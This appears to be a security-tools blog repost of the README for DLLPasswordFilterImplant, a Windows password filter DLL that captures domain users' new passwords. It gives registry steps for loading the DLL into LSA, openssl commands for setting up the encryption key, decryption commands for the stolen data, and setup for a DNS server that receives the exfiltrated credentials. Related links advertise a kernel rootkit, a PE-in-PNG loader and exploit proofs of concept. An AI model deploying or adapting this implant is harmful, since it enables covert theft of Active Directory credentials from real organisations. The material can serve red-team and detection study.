DLLPasswordFilterImplant is a custom password filter DLL that allows the capture of a user’s credentials. Each password change event on a domain will trigger the registered DLL in order to exfiltrate the username and new password value prior successfully changing it in the Active Directory (AD).
For more information about password filters consult the Microsoft documentation.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Notification Packages
subkey exists, add the name of the DLL (“DLLPasswordFilterImplant” if you didn’t rename it) to the existing value data. Do not overwrite the existing values..dll
extension when adding the name of the DLL in the Notification Packages
subkey.KEY=key.pem
# Generate an RSA key and dump its public key. Keep the private key around for decryption
openssl genrsa -out $KEY 2048
# Prepare the Windows registry key entry.
echo ‘Windows Registry Editor Version 5.00’ > addKey.reg
echo >> addKey.reg
echo ‘[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]’ >> addKey.reg
# If python2 does not exist, use python instead.
echo “Key=hex:$(openssl rsa -in $KEY -pubout | sed -E ‘/^-/d’ | base64 -d | python2 -c ‘import sys; print(“,”.join([“{:02x}”.format(ord(b)) for b in sys.stdin.read()]))’)” >> addKey.reg
addKey.reg
file to append the raw public key to the registry. Note that using asymmetric encryption significantly increases the size of the data to exfiltrate due to message padding. There are possible improvements to be made to reduce the data overhead.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Also Read – Rabid : Tool To Decode All Kind Of BigIP Cookies
Decrypting
The encrypted data is padded using OAEP and can be decrypted as follows:
# Convert the stitched hex string to raw bytes.
xxd -r -p exfiltrated.hex > raw.bin
# Decrypt using the private key.
openssl rsautl -decrypt -oaep -inkey $KEY -in raw.bin -out decrypted.txt
Uninstalling
To completely remove the password filter of a system:
HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\Lsa
A simple DNS server to receive the exfiltrated data is provided in scripts/
. Run pip install -r scripts/requirement.txt
, preferably in a virtual environment. and then provide it with a .PEM encoded private key and optional output file (defaults to creds.txt
) where to output the credentials.
Currently, the DNS server does not support concurrent password changes and serves only as a proof of concept. Pull requests adding robustness to the server are more than welcome.
Works on:
The password filter was tested exclusively on systems listed above.
Here are some tool that may help you debug the DLL (if necessary):
shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…
Extract and execute a PE embedded within a PNG file using an LNK file. The…
Embark on the journey of becoming a certified Red Team professional with our definitive guide.…
This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…
This took me like 4 days (+2 days for an update), but I got it…
MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…